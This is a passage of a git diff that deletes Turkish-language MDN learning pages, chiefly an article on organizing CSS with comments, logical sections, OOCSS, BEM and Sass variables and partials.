ulaşabilmen için ihtiyanıcın olan tüm temel bilgileri içeren bir kurs hazırladık</span>.</p> - -<p><a class="cta primary" href="/tr/docs/Learn/Front-end_web_developer">Başla</a></p> -</div> - -<h2 id="Gereksinimler">Gereksinimler</h2> - -<p>Bu üniteye başlamadan önce şunlara sahip olmalısın:</p> - -<ol> - <li>Bilgisayar kullanma ve Web'i sıradan bir şekilde kullanma (örn. web sayfalarında dolaşma, web üzerinde araştırma yapabilme)</li> - <li><a href="https://developer.mozilla.org/tr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Gerekli uygulamaların yüklenmesi</a> bölümünde ayrıntılı olarak verilen çalışma ortamı ve <a href="https://developer.mozilla.org/tr/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Dosyalarla çalışmak</a> bölümünde ayrıntılarıyla anlatıldığı gibi dosyanın nasıl oluşturulacağının ve yönetileceğinin anlaşılması</li> - <li><a href="/tr/docs/Learn/HTML/Introduction_to_HTML">HTML'ye Giriş</a> ünitesinde tartışıldığı gibi alt yapıya sahip olmak.</li> - <li><a href="/tr/docs/Learn/CSS/First_steps">CSS ilk adımlar</a> ünitesinde açıklanan temellerin anlaşılması.</li> -</ol> - -<div class="note"> -<p><strong>Not</strong>: Kendi dosyalarını oluşturma imkanının olmadığı bir bilgisayar/table/başka bir çihaz üzerinde çalışıyorsan; çevrim içi kod düzenleyip deneyebileceğin şu siteleri kullanabilirsin: <a href="http://jsbin.com/">JSBin</a> veya <a href="https://glitch.com/">Glitch</a>.</p> -</div> - -<h2 id="Kılavuzlar">Kılavuzlar</h2> - -<p>Bu ünite, CSS dilinin en önemli kısımlarını kapsayan aşağıdaki makaleleri içerir. Ders boyunca, gördüklerini denemene izin verecek bir çok alıştırmalarla karşılaşacaksın.</p> - -<dl> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Art arda denetim ve miras</a></dt> - <dd> - <p>Bu dersin amacı, CSS'in HTML'ye nasıl uygulandığını ve çakışmaların nasıl çözüldüğünü kontrol eden CSS'in en temel kavramlarından bazıları olan <a title="Cascade: Adım adım kontrol">art arda denetim</a>, <a title="Özel etken oranı: Kuralı uygulanacak en baskın seçici">özgüllük</a> ve miras anlayışını geliştirmektir.</p> - </dd> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a></dt> - <dd>CSS'de, stil verilecek öğeleri seçerken yüksek hassasiyetli birçok seçici mevcuttur. Bu makale ve alt makalelerinde, seçicilerin farklı türlerinin nasıl çalıştığını görerek incelemiş olacağız. Alt makalelerin bağlantıları aşağıdadır: - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </dd> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></dt> - <dd>CSS'deki herşeyin etrafında bir kutu vardır ve bu kutuları anlamak, CSS ile mizanpajlar oluşturabilmenin ve öğelerin diğer öğelerle hizlanmasının anahtarıdır. Bu derste, nasıl çalıştığını ve bununla ilgili terminolojiyi anlayarak daha karmaşık tasarımların üstesinden gelebilmen için CSS <em>Kutu Modeline</em> derinlemesine bakacağız.</dd> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></dt> - <dd>Bu derste CSS arka planları ve kenarlıkları ile yapabileceğin bazı yenilikçi özelliklere bir göz atacağız. Renk geçişleri, arka plan resimleri ve yuvarlatılmış köşeler yapabilmek. CSS'deki arka planlar ve kenarlıklar bir çok stil sorunun çözümüdür.</dd> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönlerini kullanma</a></dt> - <dd>Son yıllarda, sağdan sola ve yukarıdan aşağıya doğru(japonca gb.) içeriklerinde dahil olduğu farklı yönlülüğü daha iyi desteklemek için CSS gelişti. Bu farklı yönlere <strong>yazma modu</strong> denir. Çalışmanda ilerledikçe ve mizanpajla çalışmaya başladığında, yazma modlarının anlamak sana çok yardımcı olacaktır. Bu nedenle bunları bu makalede tanıtacağız.</dd> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></dt> - <dd>Bu derste CSS'deki başka bir önemli soruna bakacağız — <strong>taşma</strong>. Taşma, bir kutunun sınırları içerisinde tutabileceğinden daha fazla içerik olduğunda olan davranıştır. Bu makalede ne olduğunu ve nasıl yönetileceğini öğreneceksin.</dd> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">CSS değerleri ve birimleri</a></dt> - <dd>CSS'de kullanılan her nitelik, o nitelik için izin verilen bir değere veya değerler kümesine sahiptir. Bu derste, kullanılan en yaygın değerlerden ve birimlerden bazılarına göz atacağız.</dd> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutlandırma</a></dt> - <dd>Şimdiye kadarki derslerde, CSS kullanarak bir web sayfasındaki öğeleri boyutlandırmanın çeşitli yollarına az buçuk aşına oldun. Tasarımındaki farklı özelliklerin ne kadar büyük olacağını anlamak gerçekten önemlidir ve bur derste, nesnelerin CSS aracılığıyla bir boyut elde etmenin çeşitli yolarını özetleyeceğiz ve gelecete size yardımcı olacak boyutlandırma ile ilgili bir kaç terim tanıtacağız.</dd> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form nesneleri</a></dt> - <dd>Bu derste, CSS'de belirli özel öğelerin nasıl işlendiğine bir göz atacağız. Resimler, diğer ortamlar ve form nesneleri gibi. CSS ile biçimlendirme becerin açısından normal kutulardan biraz farklı davranırlar. Neyin mümkün olup neyin mümkün olmadığını anlamak bazı hayal kırıklıklarından seni kurtarabilir. Bu ders bilmen gereken bazı ana konuları vurgular.</dd> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></dt> - <dd>Bir HTML tablosu biçimlendirmek dünyadaki en göz alıcı işi değildir, ancak bazen bunu yapmak zorunda kalırız. Bu makale, bazı özel tablo şekillendirme tekniklerinin uygulanmasıyla HTML tablolarının güzel görünmesi için sana bir klavuz sağlar.</dd> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></dt> - <dd>Bazen CSS yazarken, CSS'nin istediğin şeyi yapmadığı bir sorunla karşılaşırsın. Bu makale, bir CSS sorununu nasıl gidereceğin konusunda sana rehberlik edecek ve tüm modern tarayıcılarda bulunan DevTools'un neler olup bittiğini öğrenmene nasıl yardımcı olabileceğini göstereceğiz.</dd> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></dt> - <dd>Daha büyük stil sayfaları ve büyük projeler üzerinde çalışmaya başladığında, büyük bir CSS dosyasını korumanın ne kadar zor olabileceğini keşfedeceksin. Bu makalede, CSS'ini yazmak için kullanılan en iyi uygulamalara ve bakımı iyileştirmeye yardımcı olmak için başkaları tarafından kullanılan çözümlerden bazılarına kısa bir göz atacağız.</dd> -</dl> - -<h2 id="Değerlendirmeler">Değerlendirmeler</h2> - -<p>CSS becerilerini test etmek ister misin? Aşağıdaki değerlendirmeler, yukarıdaki kılavuzlarda anlatılan CSS hakkında edindiğin bilgileri sınayacak.</p> - -<dl> - <dt><a href="/tr/docs/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension">Temel CSS anlayışı</a></dt> - <dd>Bu değerlendirme, temel sözdizimi, seçiciler, özgüllük, kutu modeli ve daha fazlası hakkında öğrendiklerini sınar.</dd> - <dt><a href="/tr/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">Süslü antetli kağıt oluşturma</a></dt> - <dd>Doğru izlenimi bırakmak istiyorsan, güzel bir antetli kağıda bir mektup yazmak gerçekten iyi bir başlangıç olabilir. Bu değerlendirme, böyle bir görünüm elde etmek için seni çevrimiçi bir şablon oluşturmaya davet edeceğim.</dd> - <dt><a href="/tr/docs/Learn/CSS/Styling_boxes/A_cool_looking_box">Harika görünümlü bir kutu</a></dt> - <dd>Burada, göz alıcı bir kutu oluşturmak için arka plan ve kenarlık stilini kullanma konusunda biraz pratik yapacağız.</dd> -</dl> - -<h2 id="Göz_at">Göz at</h2> - -<dl> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks/Advanced_styling_effects">Gelişmiş stil efektleri</a></dt> - <dd>Bu makale, kutu gölgleri, karışım modları ve filtreler gibi bazı ilginç gelişmiş stil özelliklerine giriş sağlayan bir <em>numara kutusu</em> görevi görür.</dd> -</dl> diff --git a/files/tr/learn/css/building_blocks/organizing/index.html b/files/tr/learn/css/building_blocks/organizing/index.html deleted file mode 100644 index 6fe3ee5d36..0000000000 --- a/files/tr/learn/css/building_blocks/organizing/index.html +++ /dev/null @@ -1,377 +0,0 @@ ---- -title: CSS planlama -slug: Learn/CSS/Building_blocks/Organizing -tags: - - Acemi - - Beginner - - CSS - - CodingScripting - - Eğitim - - Learn - - biçimlendirme - - comments - - formatting - - methodologies - - organizing - - post-processor - - pre-processor - - stil rehberi - - styleguide - - yorumlar -translation_of: Learn/CSS/Building_blocks/Organizing -original_slug: Öğren/CSS/CSS_yapi_taslari/Organizing ---- -<div>{{LearnSidebar}}{{PreviousMenu("Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</div> - -<p>Projelerin büyüdükçe, projenle birlikte büyüyen CSS Stil sayfalarınla çalışmanın ne kadar zor olacağını tecrübe edeceğin zamanlar gelecek. Bu derste, CSS Stil sayfalarında tecrübeli geliştiriciler tarafından kullanılan; sana yol gösterip, zorlanmadan geliştirme ve bakım yapabilmene yardımcı olacak bazı çözümlere göz atacağız.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Stil sayfalarını organize etmeye yönelik bazı ipuçlarını ve CSS en iyi şekilde planlama uygulamalarını öğrenmek, ekip çalışmasına yardımcı olacak ortak adlandırmalar ve araçlar hakkında bilgi edinmek.</td> - </tr> - </tbody> -</table> - -<h2 id="CSSi_düzenli_tutmak_için_ipuçlar">CSS'i düzenli tutmak için ipuçlar</h2> - -<p>Düzenli stil sayfaları yazmak ve stül sayfalarını düzenli tutmak için bazı genel öneriler</p> - -<h3 id="Projende_kodlama_stili_rehberin_var_mı">Projende kodlama stili rehberin var mı?</h3> - -<p>mevcut bir proje üzerinde bir ekiple çalışyorsan, kontrol etmen gereken ilk şey, projenin CSS için mevcut bir stil reberine sahip olup olmadığıdır. Takım stil rehberi her zaman kendi kodlama tercihlerine sahip olmalıdır. Çoğu zaman bir şeyler yapmak için doğru veya yanlış bir yol yoktur, ancak tutarlılık önemlidir.</p> - -<p>Örneğin, <a href="/tr/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS">MDN kod örnekleri için CSS yönergelerine</a> bir göz atın.</p> - -<h3 id="Tutarlı_olmasını_sağlayın">Tutarlı olmasını sağlayın</h3> - -<p>Projede bir takımla veya yanlız çalışıyor olsan bile, yapman gereken ilk iş kendine tutarlı bir yol belirlemektir. Buradaki tutarlılık, sınıflar için aynı adlandırma kurallarını kullanmak, rengi tanımlamak için bir yöntem seçmek veya biçimlendirmeyi sabitlemek (örn. kodunuzu girintilemek için sekmeler mi yoksa boşluklar mı kullanacaksın? Girinti kaç karakter olacak?)</p> - -<p>Her zaman uygulayacağın bir dizi kurala sahip olduğunda, CSS yazarken gereken zihinsel ek yükten kurtulursun. Bu kuralı oluşturmak için illaki bir projeye başlaman gerekmiyor. Bu eğitim serisi devam ederken dahi, bu kurallarının ilk adımlarını belirleyebilirsin.</p> - -<h3 id="CSS_biçimlendirmen_okunabilir_olsun">CSS biçimlendirmen okunabilir olsun</h3> - -<p>CSS'i biçimlendirmenin birkaç yolu vardır. Bazı geliştiriciler, tüm kuralları tek bir satıra koyar. Örneğin:</p> - -<pre class="brush: css notranslate">.box { background-color: #567895; } -h2 { background-color: black; color: white; }</pre> - -<p>Diğer geliştiriciler her şeyi yeni bir satıra ayırmayı tercih ediyor:</p> - -<pre class="brush: css notranslate">.box { - background-color: #567895; -} - -h2 { - background-color: black; - color: white; -}</pre> - -<p>Tarayıcılar, hangi CSS biçimlendirmesini kullandığınızı önemsemez. Kişisel olarak her bir özellik ve değer çiftinin yeni bir satırda bulunmasının okunurluluğu arttırdığını düşünüyorum.</p> - -<h3 id="CSS_hakkında_yorumlarda_bulun">CSS hakkında yorumlarda bulun</h3> - -<p>CSS'ine yorum eklemek, diğer geliştiriciclerin CSS dosyanızda çalışmasına yardımcı olmasının yanında kendi yazmış olduğun kodları ne için ve neden yazıldığını hatırlanmanda da yardımcı olacaktır.</p> - -<pre class="brush: css notranslate">/* Bu bir CSS yorumudur -Birden fazla satıra bölünebilir. */</pre> - -<p>Bir ipuçu, Stil sayfandaki mantıksal bölümler kullanmak, sayfanda arama yaparken bölümler arasında hızlı bir şekilde ilerlemeni hatta direk o bölüme atlamana olanak sağlayacaktır. Yorumlarında bir dizge kullanmayı alışkanlık haline getirirsen, onu arayarak bölümlerinin arasında aradığın bölüme rahatlıkla atlayabilirsin. Bölümler için aşağıda <code>||</code> mantıksal işaretini kullandım.</p> - -<pre class="brush: css notranslate">/* || Genel stiler */ - -... - -/* || Yazıları şekillendir */ - -... - -/* || Üst bilgi ve ana gezinti bölmesi */ - -... - -</pre> - -<p>CSS'indeki her kuralı yorumlamana gerek yok, çünkü çoğu kendi kendini açıklayıcı olacaktır. Yorumlaman gerekenler, vermiş olduğun bir kararın sebebini veya diğer bildirimlerden bariz bir şekilde ayrılmış olanlar hakkında olacaktır.</p> - -<p>Eski tarayıcı uyumsuzluklarını aşmak için eski tarayıcıların desteklediği bir bildirimde bulunmuş olabilirsin. Örneğin:</p> - -<pre class="brush: css notranslate">.box { - background-color: red; /* linear-gradient değerini desteklemeyen tarayıcılar için arka plan rengi */ - background-image: linear-gradient(to right, #ff0000, #aa0000); -} -</pre> - -<p>Belkide bir işin üstesinden gelebilmek için başka bir kaynaktan yardım aldın ve CSS biraz kafa karıştırıyor. Bu durumda, kaynağın URL'sini yorumlarak ekleyebilirsin. Bir süre sonra bu projeye geri döndüğünde kendine teşekkür edeceksin. Çünkü işin üstesinden gelebilmek için bir yerden yardım aldım ama nerede? diyer türlü bunu hatırlamak zaman alacaktı.</p> - -<h3 id="Stil_sayfanda_mantıksal_bölümler_oluştur.">Stil sayfanda mantıksal bölümler oluştur.</h3> - -<p>Tüm ortak stillerin, stil sayfanda ilk olarak bildirilmesi iyi bir fikirdir. Bu, o öğeyle özel bir tasarım yapmadığın sürece tüm projende standart bir tasarımı elde etmeni sağlayacaktır. Genellikle şunlar için oluşturduğun kuralların olacak:</p> - -<ul> - <li><code>body</code></li> - <li><code>p</code></li> - <li><code>h1</code>, <code>h2</code>, <code>h3</code>, <code>h4</code>, <code>h5</code></li> - <li><code>ul</code> ve <code>ol</code></li> - <li><code>table</code> özellikleri</li> - <li>Bağlantılar</li> -</ul> - -<p>Stil sayfasının bu bölümünde, sitedeki yazı için varsayılan stil sağlıyoruz, veri tabloları ve listeler içinde varsayılan bir stil bildiriminde bulunoyor vb.</p> - -<pre class="brush: css notranslate">/* || Genel Stiller */ - -body { ... } - -h1, h2, h3, h4 { ... } - -ul { ... } - -blockquote { ... } -</pre> - -<p>Daha sonra, birkaç yardımcı sınıf tanımlayabiliriz. Örneğin, esnek öğeler olarak veya başka bir şekilde göstereceğimiz listeler için varsayılan liste stilini kaldıran bir sınıfımız olsun. Ayrıca birçok farklı öğeye uygulamak isteyeceğimizi bildiğimiz birkaç tanımlamamız da varsa, bunları da bu bölümde tanımlayabiliriz.</p> - -<pre class="brush: css notranslate">/* || Araçlar */ - -.nobullets { - list-style: none; - margin: 0; - padding: 0; -} - -... - -</pre> - -<p>Sonra site genelinde her sayfada kullanmayı planladığımız tüm kurallarıda şuraya ekleyebiliriz. Bunlar, temel sayfa düzeni, başlık, gezinme stili vb. gibi bölümler için olabilir.</p> - -<pre class="brush: css notranslate">/* || Site geneli */ - -.main-nav { ... } - -.logo { ... } -</pre> - -<p>Son olarak; içeriğe, sayfaya ve hatta kullanıldıkları bileşene göre ayrılmış belilirli kısımlar için CSS ekleyeceğiz.</p> - -<pre class="brush: css notranslate">/* || Site sayfaları */ - -.product-listing { ... } - -.product-box { ... } -</pre> - -<p>Çalışmamazı bu şekilde sıralayarak, en azından stil sayfasında değişiklik yapmak istediğimizde, değiştireceğimiz bildirimlerin/kuralların hangi bölümde olduğu hakkında bir fikrimiz olur.</p> - -<h3 id="Aşırı_karakteristik_seçicilerden_kaçının">Aşırı karakteristik seçicilerden kaçının</h3> - -<p>Çok özel seçiciler oluşturulduğunda; aynı kuralın başka bir öğeye de uygulanması gerektiğinde, CSS kuralının çoğaltıldığını sıklıkla göreceksin. Örneğin, <code>main</code> sınıfına dahil <code><article></code> öğesinin torunlarından <code>box</code> sınıfına dahil <code><p></code> öğeleri için bir kuralımız olabilir.</p> - -<pre class="brush: css notranslate">article.main p.box { - border: 1px solid #ccc; -}</pre> - -<p>Fakat daha sonra aynı kuralları <code>main</code> sınıfına dahil olmayan ebeveyne sahip öğeye veya <code><p></code> öğesi dışındaki bir öğeye uygulamak isteyebiliriz. Bu durumda, bu kurala ya yeni bir seçici ekleyecek yada tamamen yeni bir kural kümesi oluşturmamız gerekecek. Bunun yerine, bu stil için <code>.box</code> seçiciye sahip bir kural oluşturur ve bu kuralı uygulamak istediğimiz tüm öğeleri <code>box</code> sınıfına dahil ederiz.</p> - -<pre class="brush: css notranslate">.box { - border: 1px solid #ccc; -}</pre> - -<p>Daha karakteristik seçiciler oluşturacağımız mantıklı zamanlarımız olacaktır, ancak bu genellikle normal uygulamadan ziyade istisnaî bir durum olacaktır.</p> - -<h3 id="Büyük_stil_sayfalarını_daha_küçük_parçalara_bölün">Büyük stil sayfalarını daha küçük parçalara bölün</h3> - -<p>Farklı tasarlanmış veya özellikli sayfalara sahip sitelerde, genel kuralların bulunduğu stil sayfalarınla, her web sayfasının kendine has kurallarının olduğu stil sayfalarını bir birinden ayırmak geliştirme ve düzeltmelerde yararlı olacaktır. Bir stil sayfasında birden çok stil sayfasına bağlanabilirsin. Stil sayfasına bağladığınız diğer stil sayfasının içindeki kurallar, bağlantı yapılan satırdan itibaren asıl stil sayfanıza yazılmış gibi işlem görür ve art arda kontrol şartları gereği bağlandığı noktadan sonra kuralınızı geçersiz kılacak diğer kurallar için dikkat etmeniz gerekir.</p> - -<p>Örneğin, bir mağaza için hazırlanmış bir sitenin parçası olarak ürün listelerinin ve formların olduğu iki sayfamızın olduğunu düşünelim. Ürün listeleri ve formlar için farklı CSS kuralları olacağı için bu iki sayfa için gerekli stil sayfalarını birbirinden ayırıp, ürün listelerinin olduğu web sayfası yüklenirken sadece bu sayfa için gerekli CSS'lerin indirilmesi sağlanarak internet trafiğinden de tasarruf yapmış oluruz.</p> - -<p>CSS'inizi ayrı dosyalarda tutmanız, kodlarınızı düzenli tutmanızı kolaylaştırabilir. Aynı zamanda da birden fazla kişinin çalıştığı projelerde CSS üzerinde çalışan kişilerin, aynı anda aynı CSS dosyası üzerinde çalışma olasılığıyla daha az karşılaşılır ve bu da kaynak kontrolünde daha az çakışmalara yol açacağı anlamına gelir.</p> - -<h2 id="Yardımcı_olabilecek_diğer_araçlar">Yardımcı olabilecek diğer araçlar</h2> - -<p>CSS'inin kendi içinde yerleşik organizasyon şeklinde bir yeteneği yoktur, bu nedenle CSS'i nasıl yazdığınla ilgili tutarlılık ve ilkeler oluşturmak için çalışman gerekir. Web topluluğu daha büyük CSS projelerini yönetmene yardımcı olabilecek çeşitli araçlar ve yaklaşımlar geliştirmiştir. Araştırmanız için size yardımcı olabileceklerinden ve diğer insanlarla çalışırken bunlarla karşılaşmanız muhtemel olduğundan, bazıları hakkında kısa bir rehber ekledim.</p> - -<h3 id="CSS_metodolojileri">CSS metodolojileri</h3> - -<p>CSS yazmak için kendi kurallarınızı oluşturmak yerine, topluluk tarafından halihazırda tasarlanmış ve birçok projede test edilmiş yaklaşımlardan yararlanabilirsin. Bu metodolojiler temelde CSS kodlama kılavuzlarıdır ve CSS yazmak ve düzenlemek için çok iyi yapılandırılmış bir yaklaşım benimserler. Tipik olarak, her seçiciyi o proje için özel bir kurallar kümesine yazıp optimize ettiyseniz, gereksinim duyduğunuzdan daha ayrıntılı bir CSS kullanımına neden olma eğilimindedirler.</p> - -<p>bununla birlikte, birini benimseyerek çok fazla yapı kazanırsınız ve bu sistemlerin çoğu çok yaygın olarak kullanıldığından, diğer geliştiricilerin kullandığınız yakşalımı anlaması ve CSS'lerini aynı şekilde yazması daha olasıdır. Sıfırdan kendi kişisel metodolojinizi geliştirmek zorunda kalmazsınız.</p> - -<h4 id="OOCSS">OOCSS</h4> - -<p>Karşılaşacağın yaklaşımların çoğu, <a href="https://github.com/stubbornella/oocss/wiki">Nicole Sullivan'ın çalışmasıyla</a> popüler hale gelen Nesne Yönelimli CSS (OOCSS) kavramına bir şeyler borçludur. OOCSS'in temel fikri, CSS'ini sitenizde ihtiyaç duyduğunuz her yerde kullanabileceğiniz, yeniden kullanılabilir nesnelere dönüştürmektir. OOCSS'in standart örneği, <a href="/tr/docs/Web/CSS/Layout_cookbook/Media_objects">Media Nesnesi</a> olarak tanımlanan modeldir. Bu, bir tarafında sabit boyutlu bir görüntü, video veya başka bir öğe ve diğer tarafında esnek içerik bulunan bir modeldir. Yorumlar, listeler vb. tüm web sitelerinde gördüğümüz bir modeldir.</p> - -<p>OOCSS yaklaşımını benimsemesende, bu tür modellerin kullanıldığı yerler için özel CSS oluşturabilirsin, örneğin bileşen parçaları için bir dizi kurala sahip <code>comment</code> adlı bir sınıf ve neredeyse <code>comment</code> sınıfıyla arasında bazı farklılıklar haricinde aynı olan <code>list-item</code> sınıfı oluşturalım. Bu iki bileşen arasındaki fark, liste öğesinin bir alt kenarlığa sahip olması ve yorumlardaki resimlerin kenarlığı varken, liste öğesindeki resimlerin kenarlıklarının olmamasıdır.</p> - -<pre class="brush: css notranslate">.comment { - display: grid; - grid-template-columns: 1fr 3fr; -} - -.comment img { - border: 1px solid grey; -} - -.comment .content { - font-size: .8rem; -} - -.list-item { - display: grid; - grid-template-columns: 1fr 3fr; - border-bottom: 1px solid grey; -} - -.list-item .content { - font-size: .8rem; -}</pre> - -<p>OOCSS'de, her iki bileşen içinde ortak CSS'e sahip olan <code>media</code> adlı tekbir model oluştururuz. Daha sonra küçük farklılıkların üstesinden gelmek için ek sınıflar ekleyip CSS'imizi genişlettik.</p> - -<pre class="brush: css notranslate">.media { - display: grid; - grid-template-columns: 1fr 3fr; -} - -.media .content { - font-size: .8rem; -} - -.comment img { - border: 1px solid grey; -} - -.list-item { - border-bottom: 1px solid grey; -} </pre> - -<p>HTML'emizdeki yorum kısmının hem <code>media</code>, hem de <code>comment</code> sınıflarına dahil edilmesi gerekir:</p> - -<pre class="brush: html notranslate"><div class="media comment"> - <img /> - <div class="content"></div> -</div> -</pre> - -<p>Liste öğelerinin de hem <code>media</code>, hem de <code>list-item</code> sınıfklarına dahil edilmesi gerekir:</p> - -<pre class="brush: html notranslate"><ul> - <li class="media list-item"> - <img /> - <div class="content"></div> - </li> -</ul></pre> - -<p>Nicole Sullivan'ın bu yaklaşımını açıklarken ve onu teşvik ederken yaptığı çalışma, bugün OOCSS yaklaşımını sıkı bir şekilde takip etmeyen kişlerin bile, CSS yaklaşımını bir gün bir şekilde kullanacağı anlamına geliyor — genel olarak olaylara yaklaşmanın iyi bir yolu olarak görünüyor.</p> - -<h4 id="BEM">BEM</h4> - -<p>BEM, Blok Öğe Değiştirici anlamına geliyor. BEM'de bir blok, düğme, menü veya logo gibi bağımsız bir nesnedir. Bu öğe, bir liste elamanı veya bulunduğu bloğa bağlı bir başlık gibi bir şeydir. CSS sınıflarında çizgi ve alt çizlerin yoğun kullanımı nedeniyle BEM yaklaşımı kullanan kodu heryerde tanıyacaksın. Örneğin, <a href="http://getbem.com/naming/">BEM Adlandırma kuralları</a> sayfasındaki HTML'ye uygulanan sınıflara bakın:</p> - -<pre class="brush: html notranslate"><form class="form form--theme-xmas form--simple"> - <input class="form__input" type="text" /> - <input - class="form__submit form__submit--disabled" - type="submit" /> -</form></pre> - -<p>Ek sınıflar, OOCSS örneğinde kullanılanlara benzer, ancak BEM katı adlandırma kuralları kullanır.</p> - -<p>BEM, daha büyük web projelerinde yaygın olarak kullanılmaktadır ve birçok kişi CSS'lerini bu şekilde yazmaktadır.</p> - -<p>Sistem hakkında daha fazla bilgi edinmek için CSS Hileleri üzerine <a href="https://css-tricks.com/bem-101/">BEM 101'i</a> okuyun.</p> - -<h4 id="Diğer_yaygın_sistemler">Diğer yaygın sistemler</h4> - -<p>Kullanımda olan bu sistemlerden daha fazlası da vardır. Diğer popüler yaklaşımlar arasında Jonathan Snook tarafından oluşturulan <a href="http://smacss.com/">Ölçeklenebilir ve Modüler CSS Mimarisi(SMACSS)</a>, Harry Roberts'tan <a href="https://itcss.io/">ITCSS</a> ve Yahoo! tarafından oluşturulan <a href="https://acss.io/">Atomic CSS (ACSS)</a> bulunmaktadır. Bu yaklaşımlardan birini kullanan bir projeyle karşılaşırsan, o zaman avantajın aynı tarzda kodlamayı anlamana yardımcı olabilecek bir çok makale ve rehbere ulaşabilmendir.</p> - -<p>Böyle bir sistemi kullanmanın dezavantajı, özellikle küçük projeler için aşırı derecede karmaşık görünebilmeleridir.</p> - -<h3 id="CSS_için_bir_sistem_oluşturun.">CSS için bir sistem oluşturun.</h3> - -<p>CSS'i düzenlemenin bir başka yolu da, arayüz geliştiricileri için mevcut olan bazı araçlardan yarlanmaktır; bu CSS yazmak için biraz daha programlı bir yaklaşım benimsemene olanak tanır. Ön işlemci ve son işlemci olarak adlandırdığımız bir dizi araç vardır. Bir ön işlemci, ham dosyalarınız üzerinde çalışır ve onları bir stil sayfasına dönüştürür, oysa bir son işlemci bitmiş stil sayfasını alır ve ona bir şeyler yapar — daha hızlı yüklenmesi için onu optimize edebilir.</p> - -<p>Bu araçlardan herhangi birini kullanmak için, geliştirme ortamının ön ve son işlemeyi yapan komut dosyalarını çalıştırabilmesi gerektirir. Birçok kod düzenleyici bunu sizin için yapabilir veya yardımcı olması için komut satırı araçları yükleyebilirsiniz.</p> - -<p>En popüler ön işlemci <a href="https://sass-lang.com/">Sass</a>'tır. Bir bir Sass öğreticisi değildir, bu yüzden diğer Sass özelliklerinden herhangi birini kullanmasanız bile, Sass'ın yapabileceği, planlama açısından gerçekten yarlı olan birkaç konuyu kısaca açıklayacağım. Sass hakkında daha çok şey öğrenmek istiyorsanız, <a href="https://sass-lang.com/guide">Sass Temelleri</a> makalesi ile başlayın ve ardından diğer belgelerine geçin.</p> - -<h4 id="Değişken_tanımlama">Değişken tanımlama</h4> - -<p>CSS artık yerel <a href="/tr/docs/Web/CSS/Using_CSS_custom_properties">özel özelliklere</a> sahiptir ve bu Sass'ın özelliğini, giderek daha az önemli hale getirir, ancak Sass'ı kullanmamızın nedenlerinden biri, bir projede kullanılan tüm renkleri ve yazı tiplerini bir dosyada tanımlayabilmek ve ardından bu değişkeni tüm proje içerisinde kullanmaktır. Bu, mavinin yanlış tonunu kullandığınızı fark ettiğinde, yanlış tanımı sadece bir yerde değiştirmenin yeterli olacağı anlamanı gelir.</p> - -<p>Aşağıdaki ilk satırdaki gibi bir <code>$base-color</code> değişkeni tanımlarsak, onu stil sayfası aracıyla bu rengi kullanmamız gereken her yerde kullanabiliriz.</p> - -<pre class="brush: css notranslate"><code>$base-color: #c6538c; - -.alert { - border: 1px solid $base-color; -}</code></pre> - -<p>CSS derlendikten sonra aşağıdaki gibi gözükecektir.</p> - -<pre class="brush: css notranslate"><code>.alert { - border: 1px solid #c6538c; -}</code></pre> - -<h4 id="Birleşen_stil_sayfalarını_derlemek">Birleşen stil sayfalarını derlemek</h4> - -<p>Yukarıda CSS'i planlamanın bir yolununda stil sayfalarını daha küçük stil sayfalarına bölmek olduğundan bahsetmiştim. Sass'ı kullanırken bunu başka bir seviyeye taşıyabilir ve çok sayıda çok küçük stil sayfalarına sahip olabilirsin — hatta her bileşen için ayrı bir stil sayfasına sahip olacak kadar ileri gidebilirsin. Sass(kısımlar-partials) içerme işlevini kullanarak, web sitenizde kullanmak istediğiniz stil sayfalarını bir birine bağlayarak bir veya daha fazla stil sayfasını kullanabilirsin.</p> - -<p>Örneğin, <a href="https://sass-lang.com/documentation/at-rules/use#partials">partials(kısımlar)</a> ile bir dizin içerisinden birkaç stil dosyaların olabilir: Diyelim ki 